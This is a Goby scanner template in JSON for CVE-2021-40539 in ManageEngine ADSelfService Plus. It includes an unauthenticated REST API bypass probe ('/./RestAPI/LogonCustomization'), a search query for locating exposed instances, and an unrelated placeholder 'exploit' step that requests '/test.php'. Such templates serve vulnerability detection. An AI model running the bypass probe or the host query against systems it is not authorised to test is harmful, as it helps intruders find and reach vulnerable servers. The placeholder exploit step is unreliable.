{
      "Name": "ADSelfService Plus RCE CVE-2021-40539",
      "Level": "3",
      "Tags": [
            "rce",
            "unauth"
      ],
      "GobyQuery": "title=\"ManageEngine - ADSelfService Plus\" || app=\"ZOHO-ManageEngine-ADSelfService\" || title=\"ADSelfService Plus\" || body=\"ADSelfService Plus\"",
      "Description": "ManageEngine ADSelfService Plus is an integrated self-service password management and single sign on solution.",
      "Product": "ADSelfService Plus",
      "Homepage": "https://www.manageengine.cn/products/self-service-password/pricing-details.html",
      "Author": "",
      "Impact": "An authorization issue vulnerability exists in Zoho ManageEngine ADSelfService Plus version 6113 and earlier that stems from software that easily bypasses REST API authentication, resulting in remote code execution.",
      "Recommendation": "",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2021-40539",
            "https://forum.butian.net/share/876"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/./RestAPI/LogonCustomization",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "methodToCall=previewMobLogo",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "var d = new Date();",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "window.parent.$(\"#tabLogo\")",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/test.php",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "test",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}